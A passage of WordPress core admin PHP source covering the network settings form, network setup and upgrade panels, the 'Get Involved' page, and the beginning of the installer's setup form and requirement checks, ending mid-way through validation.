				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th>
				<td>
					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea>
					<p class="description" id="first-comment-desc">
						<?php _e( 'The first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" />
					<p class="description" id="first-comment-author-desc">
						<?php _e( 'The author of the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
					<p class="description" id="first-comment-email-desc">
						<?php _e( 'The email address of the first comment author on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" />
					<p class="description" id="first-comment-url-desc">
						<?php _e( 'The URL for the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Upload Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Site upload space' ); ?></th>
				<td>
					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?>/>
						<?php
						printf(
							/* translators: %s: Number of megabytes to limit uploads to. */
							__( 'Limit total size of files uploaded to %s MB' ),
							'</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />'
						);
						?>
					</label><br />
					<p class="screen-reader-text" id="blog-upload-space-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in megabytes' );
						?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th>
				<td>
					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" />
					<p class="description" id="upload-filetypes-desc">
						<?php _e( 'Allowed file types. Separate types by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th>
				<td>
					<?php
						printf(
							/* translators: %s: File size in kilobytes. */
							__( '%s KB' ),
							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
						);
						?>
					<p class="screen-reader-text" id="fileupload-maxk-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in kilobytes' );
						?>
					</p>
				</td>
			</tr>
		</table>

		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			?>
			<h2><?php _e( 'Language Settings' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
					<td>
						<?php
						$lang = get_site_option( 'WPLANG' );
						if ( ! in_array( $lang, $languages, true ) ) {
							$lang = '';
						}

						wp_dropdown_languages(
							array(
								'name'         => 'WPLANG',
								'id'           => 'WPLANG',
								'selected'     => $lang,
								'languages'    => $languages,
								'translations' => $translations,
								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
							)
						);
						?>
					</td>
				</tr>
			</table>
			<?php
		}
		?>

		<?php
		$menu_perms = get_site_option( 'menu_items' );
		/**
		 * Filters available network-wide administration menu options.
		 *
		 * Options returned to this filter are output as individual checkboxes that, when selected,
		 * enable site administrator access to the specified administration menu in certain contexts.
		 *
		 * Adding options for specific menus here hinges on the appropriate checks and capabilities
		 * being in place in the site dashboard on the other side. For instance, when the single
		 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
		 * screen in their individual sites' dashboards.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $admin_menus Associative array of the menu items available.
		 */
		$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );

		if ( $menu_items ) :
			?>
			<h2><?php _e( 'Menu Settings' ); ?></h2>
			<table id="menu" class="form-table">
				<tr>
					<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
					<td>
						<?php
						echo '<fieldset><legend class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Enable menus' ) .
						'</legend>';

						foreach ( (array) $menu_items as $key => $val ) {
							echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>';
						}

						echo '</fieldset>';
						?>
					</td>
				</tr>
			</table>
			<?php
		endif;
		?>

		<?php
		/**
		 * Fires at the end of the Network Settings form, before the submit button.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_options' );
		?>
		<?php submit_button(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

// Used in the HTML title tag.
$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-updates-screen/">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			/**
			 * @global int $wp_db_version WordPress database version.
			 */
			global $wp_db_version;
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array $response The upgrade response array.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script type="text/javascript">
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
$title = __( 'Get Involved' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap about__container">

	<div class="about__header">
		<div class="about__header-title">
			<h1>
				<?php _e( 'Get Involved' ); ?>
			</h1>
		</div>

		<div class="about__header-text">
			<?php _e( 'Be the future of WordPress' ); ?>
		</div>
	</div>

	<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
		<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
		<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
		<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
		<a href="contribute.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'Get Involved' ); ?></a>
	</nav>

	<div class="about__section has-2-columns is-wider-right">
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-main.svg?ver=6.5' ) ); ?>" alt="" width="290" height="290" />
		</div>
		<div class="column is-vertically-aligned-center">
			<p><?php _e( 'Do you use WordPress for work, for personal projects, or even just for fun? You can help shape the long-term success of the open source project that powers millions of websites around the world.' ); ?></p>
			<p><?php _e( 'Join the diverse WordPress contributor community and connect with other people who are passionate about maintaining a free and open web.' ); ?></p>

			<ul>
				<li><?php _e( 'Be part of a global open source community.' ); ?></li>
				<li><?php _e( 'Apply your skills or learn new ones.' ); ?></li>
				<li><?php _e( 'Grow your network and make friends.' ); ?></li>
			</ul>
		</div>
	</div>

	<div class="about__section has-2-columns is-wider-left">
		<div class="column is-vertically-aligned-center">
			<h2 class="is-smaller-heading"><?php _e( 'No-code contribution' ); ?></h2>
			<p><?php _e( 'WordPress may thrive on technical contributions, but you don&#8217;t have to code to contribute. Here are some of the ways you can make an impact without writing a single line of code:' ); ?></p>
			<ul>
				<li><?php _e( '<strong>Share</strong> your knowledge in the WordPress support forums.' ); ?></li>
				<li><?php _e( '<strong>Write</strong> or improve documentation for WordPress.' ); ?></li>
				<li><?php _e( '<strong>Translate</strong> WordPress into your local language.' ); ?></li>
				<li><?php _e( '<strong>Create</strong> and improve WordPress educational materials.' ); ?></li>
				<li><?php _e( '<strong>Promote</strong> the WordPress project to your community.' ); ?></li>
				<li><?php _e( '<strong>Curate</strong> submissions or take photos for the Photo Directory.' ); ?></li>
				<li><?php _e( '<strong>Organize</strong> or participate in local Meetups and WordCamps.' ); ?></li>
				<li><?php _e( '<strong>Lend</strong> your creative imagination to the WordPress UI design.' ); ?></li>
				<li><?php _e( '<strong>Edit</strong> videos and add captions to WordPress.tv.' ); ?></li>
				<li><?php _e( '<strong>Explore</strong> ways to reduce the environmental impact of websites.' ); ?></li>
			</ul>
		</div>
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-no-code.svg?ver=6.5' ) ); ?>" alt="" width="290" height="290" />
		</div>
	</div>
	<div class="about__section has-2-columns is-wider-right">
		<div class="column">
			<img src="<?php echo esc_url( admin_url( 'images/contribute-code.svg?ver=6.5' ) ); ?>" alt="" width="290" height="290" />
		</div>
		<div class="column is-vertically-aligned-center">
			<h2 class="is-smaller-heading"><?php _e( 'Code-based contribution' ); ?></h2>
			<p><?php _e( 'If you do code, or want to learn how, you can contribute technically in numerous ways:' ); ?></p>
			<ul>
				<li><?php _e( '<strong>Find</strong> and report bugs in the WordPress core software.' ); ?></li>
				<li><?php _e( '<strong>Test</strong> new releases and proposed features for the Block Editor.' ); ?></li>
				<li><?php _e( '<strong>Write</strong> and submit patches to fix bugs or help build new features.' ); ?></li>
				<li><?php _e( '<strong>Contribute</strong> to the code, improve the UX, and test the WordPress app.' ); ?></li>
			</ul>
			<p><?php _e( 'WordPress embraces new technologies, while being committed to backward compatibility. The WordPress project uses the following languages and libraries:' ); ?></p>
			<ul>
				<li><?php _e( 'WordPress Core and Block Editor: HTML, CSS, PHP, SQL, JavaScript, and React.' ); ?></li>
				<li><?php _e( 'WordPress app: Kotlin, Java, Swift, Objective-C, Vue, Python, and TypeScript.' ); ?></li>
			</ul>
		</div>
	</div>

	<div class="about__section is-feature has-subtle-background-color">
		<div class="column">
			<h2><?php _e( 'Shape the future of the web with WordPress' ); ?></h2>
			<p><?php _e( 'Finding the area that aligns with your skills and interests is the first step toward meaningful contribution. With more than 20 Make WordPress teams working on different parts of the open source WordPress project, there&#8217;s a place for everyone, no matter what your skill set is.' ); ?></p>
			<p><a href="<?php echo esc_url( __( 'https://make.wordpress.org/contribute/' ) ); ?>"><?php _e( 'Find your team &rarr;' ); ?></a></p>
		</div>
	</div>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * WordPress Installer
 *
 * @package WordPress
 * @subpackage Administration
 */

// Confidence check.
if ( false ) {
	?>
<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Error: PHP is not running</title>
</head>
<body class="wp-core-ui">
	<p id="logo"><a href="https://wordpress.org/">WordPress</a></p>
	<h1>Error: PHP is not running</h1>
	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
</body>
</html>
	<?php
}

/**
 * We are installing WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

/** Load WordPress Administration Upgrade API */
require_once ABSPATH . 'wp-admin/includes/upgrade.php';

/** Load WordPress Translation Install API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

/** Load wpdb */
require_once ABSPATH . WPINC . '/class-wpdb.php';

nocache_headers();

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;

/**
 * Display installation header.
 *
 * @since 2.5.0
 *
 * @param string $body_classes
 */
function display_header( $body_classes = '' ) {
	header( 'Content-Type: text/html; charset=utf-8' );
	if ( is_rtl() ) {
		$body_classes .= 'rtl';
	}
	if ( $body_classes ) {
		$body_classes = ' ' . $body_classes;
	}
	?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="wp-core-ui<?php echo $body_classes; ?>">
<p id="logo"><?php _e( 'WordPress' ); ?></p>

	<?php
} // End display_header().

/**
 * Displays installer setup form.
 *
 * @since 2.8.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string|null $error
 */
function display_setup_form( $error = null ) {
	global $wpdb;

	$user_table = ( $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null );

	// Ensure that sites appear in search engines by default.
	$blog_public = 1;
	if ( isset( $_POST['weblog_title'] ) ) {
		$blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public;
	}

	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
	$user_name    = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
	$admin_email  = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';

	if ( ! is_null( $error ) ) {
		?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
<p class="message"><?php echo $error; ?></p>
<?php } ?>
<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_login"><?php _e( 'Username' ); ?></label></th>
			<td>
			<?php
			if ( $user_table ) {
				_e( 'User(s) already exists.' );
				echo '<input name="user_name" type="hidden" value="admin" />';
			} else {
				?>
				<input name="user_name" type="text" id="user_login" size="25" aria-describedby="user-name-desc" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
				<p id="user-name-desc"><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p>
				<?php
			}
			?>
			</td>
		</tr>
		<?php if ( ! $user_table ) : ?>
		<tr class="form-field form-required user-pass1-wrap">
			<th scope="row">
				<label for="pass1">
					<?php _e( 'Password' ); ?>
				</label>
			</th>
			<td>
				<div class="wp-pwd">
					<?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?>
					<div class="password-input-wrapper">
						<input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result admin-password-desc" />
						<div id="pass-strength-result" aria-live="polite"></div>
					</div>
					<button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
						<span class="dashicons dashicons-hidden"></span>
						<span class="text"><?php _e( 'Hide' ); ?></span>
					</button>
				</div>
				<p id="admin-password-desc"><span class="description important hide-if-no-js">
				<strong><?php _e( 'Important:' ); ?></strong>
				<?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?>
				<?php _e( 'You will need this password to log&nbsp;in. Please store it in a secure location.' ); ?></span></p>
			</td>
		</tr>
		<tr class="form-field form-required user-pass2-wrap hide-if-js">
			<th scope="row">
				<label for="pass2"><?php _e( 'Repeat Password' ); ?>
					<span class="description"><?php _e( '(required)' ); ?></span>
				</label>
			</th>
			<td>
				<input type="password" name="admin_password2" id="pass2" autocomplete="new-password" spellcheck="false" />
			</td>
		</tr>
		<tr class="pw-weak">
			<th scope="row"><?php _e( 'Confirm Password' ); ?></th>
			<td>
				<label>
					<input type="checkbox" name="pw_weak" class="pw-checkbox" />
					<?php _e( 'Confirm use of weak password' ); ?>
				</label>
			</td>
		</tr>
		<?php endif; ?>
		<tr>
			<th scope="row"><label for="admin_email"><?php _e( 'Your Email' ); ?></label></th>
			<td><input name="admin_email" type="email" id="admin_email" size="25" aria-describedby="admin-email-desc" value="<?php echo esc_attr( $admin_email ); ?>" />
			<p id="admin-email-desc"><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site visibility' ) : _e( 'Search engine visibility' ); ?></th>
			<td>
				<fieldset>
					<legend class="screen-reader-text"><span>
						<?php
						has_action( 'blog_privacy_selector' )
							/* translators: Hidden accessibility text. */
							? _e( 'Site visibility' )
							/* translators: Hidden accessibility text. */
							: _e( 'Search engine visibility' );
						?>
					</span></legend>
					<?php
					if ( has_action( 'blog_privacy_selector' ) ) {
						?>
						<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( 1, $blog_public ); ?> />
						<label for="blog-public"><?php _e( 'Allow search engines to index this site' ); ?></label><br />
						<input id="blog-norobots" type="radio" name="blog_public"  aria-describedby="public-desc" value="0" <?php checked( 0, $blog_public ); ?> />
						<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
						<p id="public-desc" class="description"><?php _e( 'Note: Discouraging search engines does not block access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
						<?php
						/** This action is documented in wp-admin/options-reading.php */
						do_action( 'blog_privacy_selector' );
					} else {
						?>
						<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" aria-describedby="privacy-desc" value="0" <?php checked( 0, $blog_public ); ?> />
						<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
						<p id="privacy-desc" class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
					<?php } ?>
				</fieldset>
			</td>
		</tr>
	</table>
	<p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p>
	<input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" />
</form>
	<?php
} // End display_setup_form().

// Let's check to make sure WP isn't already installed.
if ( is_blog_installed() ) {
	display_header();
	die(
		'<h1>' . __( 'Already Installed' ) . '</h1>' .
		'<p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p>' .
		'<p class="step"><a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log In' ) . '</a></p>' .
		'</body></html>'
	);
}

/**
 * @global string $wp_version             The WordPress version string.
 * @global string $required_php_version   The required PHP version string.
 * @global string $required_mysql_version The required MySQL version string.
 * @global wpdb   $wpdb                   WordPress database abstraction object.
 */
global $wp_version, $required_php_version, $required_mysql_version, $wpdb;

$php_version   = PHP_VERSION;
$mysql_version = $wpdb->db_version();
$php_compat    = version_compare( $php_version, $required_php_version, '>=' );
$mysql_compat  = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );

$version_url = sprintf(
	/* translators: %s: WordPress version. */
	esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
	sanitize_title( $wp_version )
);

$php_update_message = '</p><p>' . sprintf(
	/* translators: %s: URL to Update PHP page. */
	__( '<a href="%s">Learn more about updating PHP</a>.' ),
	esc_url( wp_get_update_php_url() )
);

$annotation = wp_get_update_php_annotation();

if ( $annotation ) {
	$php_update_message .= '</p><p><em>' . $annotation . '</em>';
}

if ( ! $mysql_compat && ! $php_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ),
		$version_url,
		$wp_version,
		$required_php_version,
		$required_mysql_version,
		$php_version,
		$mysql_version
	) . $php_update_message;
} elseif ( ! $php_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ),
		$version_url,
		$wp_version,
		$required_php_version,
		$php_version
	) . $php_update_message;
} elseif ( ! $mysql_compat ) {
	$compat = sprintf(
		/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */
		__( 'You cannot install because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ),
		$version_url,
		$wp_version,
		$required_mysql_version,
		$mysql_version
	);
}

if ( ! $mysql_compat || ! $php_compat ) {
	display_header();
	die( '<h1>' . __( 'Requirements Not Met' ) . '</h1><p>' . $compat . '</p></body></html>' );
}

if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
	display_header();
	die(
		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
		'<p>' . sprintf(
			/* translators: %s: wp-config.php */
			__( 'Your %s file has an empty database table prefix, which is not supported.' ),
			'<code>wp-config.php</code>'
		) . '</p></body></html>'
	);
}

// Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install.
if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
	display_header();
	die(
		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
		'<p>' . sprintf(
			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
			__( 'The constant %s cannot be defined when installing WordPress.' ),
			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
		) . '</p></body></html>'
	);
}

/**
 * @global string    $wp_local_package Locale code of the package.
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 */
$language = '';
if ( ! empty( $_REQUEST['language'] ) ) {
	$language = sanitize_locale_name( $_REQUEST['language'] );
} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
	$language = $GLOBALS['wp_local_package'];
}

$scripts_to_print = array( 'jquery' );

switch ( $step ) {
	case 0: // Step 0.
		if ( wp_can_install_language_pack() && empty( $language ) ) {
			$languages = wp_get_available_translations();
			if ( $languages ) {
				$scripts_to_print[] = 'language-chooser';
				display_header( 'language-chooser' );
				echo '<form id="setup" method="post" action="?step=1">';
				wp_install_language_form( $languages );
				echo '</form>';
				break;
			}
		}

		// Deliberately fall through if we can't reach the translations API.

	case 1: // Step 1, direct link or from language chooser.
		if ( ! empty( $language ) ) {
			$loaded_language = wp_download_language_pack( $language );
			if ( $loaded_language ) {
				load_default_textdomain( $loaded_language );
				$GLOBALS['wp_locale'] = new WP_Locale();
			}
		}

		$scripts_to_print[] = 'user-profile';

		display_header();
		?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
<p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p>

<h2><?php _e( 'Information needed' ); ?></h2>
<p><?php _e( 'Please provide the following information. Do not worry, you can always change these settings later.' ); ?></p>

		<?php
		display_setup_form();
		break;
	case 2:
		if ( ! empty( $language ) && load_default_textdomain( $language ) ) {
			$loaded_language      = $language;
			$GLOBALS['wp_locale'] = new WP_Locale();
		} else {
			$loaded_language = 'en_US';
		}

		if ( ! empty( $wpdb->error ) ) {
			wp_die( $wpdb->error->get_error_message() );
		}

		$scripts_to_print[] = 'user-profile';

		display_header();
		// Fill in the data we gathered.
		$weblog_title         = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
		$user_name            = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
		$admin_password       = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : '';
		$admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : '';
		$admin_email          = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';
		$public               = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1;

		// Check email address.
		$error = false;
		if ( empty( $user_name ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Please provide a valid username.' ) );
			$error = true;
		} elseif ( sanitize_user( $user_name, true ) !== $user_name ) {
			display_setup_form( __( 'The username you provided has invalid characters.' ) );
			$error = true;
		} elseif ( $admin_password !== $admin_password_check ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Your passwords do not match. Please try again.' ) );
